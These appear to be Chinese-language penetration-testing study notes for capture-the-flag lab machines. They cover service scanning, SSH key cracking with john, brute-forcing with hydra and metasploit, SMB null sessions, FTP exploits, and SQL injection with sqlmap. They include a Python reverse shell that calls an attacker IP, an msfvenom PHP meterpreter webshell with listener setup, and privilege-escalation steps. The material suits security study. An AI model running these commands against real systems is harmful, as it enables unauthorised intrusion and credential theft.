SSH
GET -从指定资源请求数据:用GET给后端传参的方法:在?后跟变量,不同变量之间用&隔开
POST- 从指定资源提交要被处理的数据
robots.txt:爬虫协议文件:存放于网站根目录下的ASCII编码的文本文件,存放不允许搜索引擎探测和允许探测的文件名
信息探测
渗透:针对服务器的漏洞探测,进行对应数据包的发送,获取机器最高权限。‘
– nmap -sV 靶场IP地址 挖掘开放服务信息 探测靶场开放的服务与服务的版本
– nmap -A -v 靶场IP地址 探测靶场全部信息
– nmap -O 靶场IP地址 探测靶场的操作系统类型与版本
分析探测结果:
常用端口:0~1023端口,需要针对特殊端口进行探测
对于开放http服务大端口,采取http://[ip]:[port]/访问,如果源代码获取对应信息中没有flag信息,可采用工具探测隐藏页面:dirb http://[ip]:[port]/
SSH建立在应用层上,远程登录会话,有效防止远程管理中信息泄露问题,是基于TCP 22号端口的服务
SSH协议认证机制:
1.基于口令的安全验证:所有传输的数据都会被加密,但不能保证正在连接的服务器就是想要连接的服务器。
2.基于密钥的安全验证:公共密钥放在需要访问的服务器上
两种认证机制都不一定获得root权限
挖掘ssh信息:
一般给出的文件中,id_rsa是私钥文件,id_rsa.pub是公钥文件,公钥存储于服务器端可远程访问因此不需要下载,同时认证关键词文件中包含用户名和主机
使用私钥登录远程服务器 ls -alh 查看对应目录下文件的权限
使用私钥远程登录服务器:
chmod 600 id_rsa 赋予读写权限
ssh -i id_rsa 【用户名】@【服务器IP】
ssh2john id_rsa>rsacrack 将id_rsa密钥信息转换为john可识别的信息
利用字典解密rsacrack信息
zcat /usr/share/wordlists/rockyou.txt.gz | john --pipe --rules rsacrack 即可获得主机的访问权
深入探测根目录 cd /root
查找具有root权限的文件 -find / -perm -4000 2>/dev/null (“/”指根目录, -perm -4000表示执行权限 , 2>/dev/null可避免错误输出)
根据代码审计一步步提升权限
如 char buf[20]; gets(buf) 表示将输入的字符串赋值给buf ,由于buf是数组可以考虑溢出
/bin/sh
whoami用于显示自身用户名称
cat 显示文件内容
对于SSH服务的22端口的靶场首先考虑暴力破解、私钥泄露
对于开放http服务的80端口或者其他端口的靶场,首先考虑通过浏览器访问对应的靶场http服务,或使用探测工具对http的目录进行探测
特别注意特殊端口(大于1024的端口,用户自行支配)
挖掘敏感信息!尤其是robots.txt
对于某些靶场可以使用nikto扫描器挖掘敏感信息 – nikto -host 靶场IP地址
特别注意config等特殊敏感文件,要细读扫描的结果,挖掘可以利用的敏感信息
利用敏感、弱点信息:“chomd 600 id_rsa” 修改id_rsa的权限 “ssh -i id_rsa 用户名@靶场IP地址” 利用私钥登录服务器(如果私钥文件有解密密码,就需要进行对应的破解)
wget命令用于下载文件,支持HTTP,HTTPS,FTP协议,可以使用HTTP代理
pwd命令用于查看当前工作目录
登录服务器后,需要进行的操作包括:查看当前用户 whoami、id查看当前用户的权限、查看根目录寻找flag文件
如果是root权限表明靶场被全部拿下,如果不是则需要提权。一般情况下flag文件只属于root用户和对应的用户组:
cat /etc/passwd 查看所有用户的列表,用户的关键信息
cat /etc/group 查看用户组
find / -user 用户名 查看属于某些用户的文件
/tmp 查看缓冲文件目录
/etc/crontab 设定系统定期执行的任务,编辑,需要root权限。不同的用户可以有不同的定时任务。
cat /etc/crontab 挖掘其他用户是否有定时任务,并查看对应的任务内容。
/etc/crontab下如果有某用户定时计划文件,但是具体目录下没有这个定时执行的文件,可以自行创建反弹shell,使用netcat执行监听获取对应用户的权限;如果有定时执行的文件,可以切换到对应目录查看对应权限。
编写反弹shell代码:
靶场代码
#!/usr/bin/python
import os,subprocess,socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) #创建套接字(默认使用以太网的TCP套接字)
s.connect((“攻击机IP地址“,”攻击机监听端口“))#使用套接字连接攻击机
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)#标准输入输出和错误输入输出
p=subprocess.call([”/bin/sh","-i"]) #使用子进程调用shell交互模式
攻击机用netcat命令 – nc -lpv 未占用端口
查看占用端口 netstat -pantu
万不得已时需要对ssh服务进行暴力破解,破解最后一个用户名 如hydra、medusa等
利用cupp创建个性化字典
– git clone https://github.com/jeanphorn/common-password.git
– chmod +x cupp.py
– ./cupp.py -i 以交互的方式创建字典
chomd +x cupp.py 赋予可执行权限
使用metasploit破解SSH
在终端输入
msfconsole
– msf > use auxiliary /scanner/ssh/ssh_login
– msf auxiliary(ssh_login) > set rhosts 远程主机IP地址
– msf auxiliary(ssh_login) >set username hadi
– msf auxiliary(ssh_login) >set pass_file hadi.txt
– msf auxiliary(ssh_login)>set threads 5 #设置线程
– msf auxiliary(ssh_login)> show options #查看参数是否设置完全
– msf auxiliary(ssh_login)> verbose true #使每一条登录信息都能被查看到
– msf auxiliary(ssh_login)> run
优化会话
python -c "import pty;pty.spawn(’/bin/bash’)”
su -root #提权操作
获取flag:一般情况下在root目录下
SMB信息泄露
SMB信息泄露
SMB通信协议:主要是Microsoft网络的通讯协议,后来linux移植了SMB,并称为samba。SMB基于TCP-NETBIOS,一般端口使用为139,445
SMB协议:计算机可以访问网路资源,下载对应的资源文件
步骤:
1.信息探测:只给顶一个对应IP地址的靶场机器,需要扫描探测开放的服务。
nmap -sV IP 挖掘开放服务信息
nmap -A -v -T4 IP 挖掘靶场全部信息
2.针对SMB协议,使用空口令若登录成功,下载并查看敏感文件:
smbclient -L IP #列出该IP共享的所有目录和链接
smbclient ‘\IP\share$’ #y用空口令登录后ls查看 #config配置文件中可能有用户名和密码 #mysql -h IP -u 用户名 -p 远程登录数据库
get 敏感文件
3.针对SMB协议远程溢出漏洞进行分析 searchsploit samba版本号
4.针对HTTP协议弱点分析:
浏览器查看网站
使用dirb nikto 探测
寻找突破点,目标登录后台,上传webshell
5.制作webshell
msfvenom -p php/meterpreter/reverse_tcp lhost=本机IP lport=4444 -f raw>/root/Desktop/shell.php
启动监听 msfconsole
msf > use exploit/multi/handler
msf exploit(handler)> set payload php/meterpreter/reverse_tcp
msf exploit(handler)> set lhost 攻击机IP地址
msf exploit(handler)> set lhost 4444
msf exploit(handler)> run
6.上传webshell
获得反弹的shell :wordpress 上传点 theme 404.php
执行:http://靶场IP/wordpress/wp-content/themes/twentyfourteen/404.php
7.查找flag值
优化终端:python -c “import pty;pty.spawn(”/bin/bash")’
查找敏感信息,提升root权限,查看flag值
查找用户名: cat /etc/passwd
查找密码:在共享目录下的敏感文件,提升权限
su 用户名
sudo -l
su sudo
总结:对于开放139和445端口的机器一定要注意是否可以直接使用smbclient登录到共享目录查找敏感文件
一般情况下flag值都在/root目录下,并需要提升root权限才能查看内容
FTP服务后门利用
FTP(文件传输协议),用于Internet上的控制文件的双向传输,同时也是一个应用程序。
信息探测 nmap -sV 靶场IP
nmap -T4(表示使用nmap最快速度) -A(所有) -v 靶场IP
分析nmap扫描结果挖掘可利用的信息
使用searchsploit+软件名称版本 查看漏洞信息找出可利用的溢出代码
使用metasploit进行溢出:
在终端输入msfconsole(一个大型安全框架)
输入search对应的软件及版本号(搜索是否存在可利用的漏洞模块)
使用exploit
查看可以使用的payload: show payloads
设置payload:set payload
设置参数:show options
set rhost 靶场IP
set lhost 攻击机IP
进行远程溢出 exploit
执行命令 id
优化shell: python -c “import pty;pty.spawn(’/bin/bash’)”
使用python pty开启终端
一般情况下flag在根目录下 cd /root
总结:对于开放FTP、SSH、Telnet等服务的系统,可以尝试一些对应服务版本的漏洞代码;对于系统,一定要注意利用现成的EXP来root主机
Capture the Flag
信息探测nmap(由于探测可能会漏掉一些端口,因此需要多条探测命令相结合的方法保证能扫描到全部信息)
探测敏感信息: nikto -host http://靶场IP地址:端口(如果是80端口(HTTP服务的端口)可以省略端口号,其他端口不能省略端口号) dirb http://靶场IP地址:端口
对于大端口的非http服务,可以使用nc来探测该端口的banner信息(banner信息中可以得到软件开发商、软件名称版本服务类型等信息,使用某些工具取使用对应的exp进行攻击): nc IP地址 端口号
对于大端口http服务,可以使用浏览器浏览界面查看源代码,寻找flag值
对于http服务,可以使用浏览器打开http://ip:port/敏感页面,查看敏感信息,找到可以利用的位置
pwd命令查看当前目录
深入挖掘
FTP匿名登录 挖掘敏感信息
在浏览器中输入 ftp://靶场IP 匿名登录ftp服务器根目录,查看敏感文件,注意一定要查看源代码
在站点robots.txt文件中寻找敏感文件,挖掘敏感文件漏洞
对于命令执行中为了绕过对应的限制,可以使用相近命令来代替限制的shell命令 如cat命令可替换为more命令
多尝试!如果一次访问不行可以尝试多次连接(网络连接问题,ping一下试试?)
获得对应的用户名和密码后可以通过ssh来登录系统,查看对应的flag值 ssh 用户名@靶场IP
ssh -p 端口号 用户名@IP地址
总结:注意未知服务的端口,可以使用nc获取对应的banner信息
使用对应相近的shell命令来绕过限制,如cat more
对每一个服务都需要进行对应的探测,不放过任何一个可以利用的点
SQL注入(GET)
SQL注入攻击:通过构建特殊的输入作为参数传入WEB应用程序,而这些输入大多是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。
主要原因:程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。
任何一个用户可以输入的位置都可能是注入点。比如url中,http报文中,POST传递的参数
GET 具体步骤
信息探测
深入挖掘
漏洞扫描:web漏洞扫描器 owasp-zap(可以自动发现web应用程序中的安全漏洞,同时也可以提供安全测试)
输入url,扫描器会对url进行爬取并进行漏洞扫描,最后跳转到alert
漏洞利用:对扫描结果进行分析:如果具有SQL注入漏洞可以直接利用(SQL是高危漏洞,可以直接获取 服务器权限)
使用sqlmap利用SQL注入漏洞:sqlmap -u url -dbs 查看数据库名
sqlmap -u url -D“数据库名” -tables 查看对应数据库中的数据表
sqlmap -u url -D “数据库名” -T "表名” -columns 查看对应字段
sqlmap -u url -D “数据库名” -T “表名” -C "列名” -dump 查看对应字段的值(如果有多个字段,用逗号相连接)
也可以直接尝试sqlmap -u -url -os-shell 直接获取shell
information_schema是系统自带数据库
上传shell反弹权限:生成反弹shell msfvenom -p php/meterpreter/reverse_tcp lhost=攻击机IP地址 lport=4444 -f raw>/root/Desktop/shell.php(注意生成的文件从“<php"开始复制,不能复制开头的”/*“)
攻击机启动监听:msf>use exploit/multi/handler
msf exploit(handler)>set payload php/meterpreter/reverse_tcp
msf exploit(handler)>set lhost 攻击机IP地址
msf exploit(handler)>set lport 4444
msf exploit(handler)>run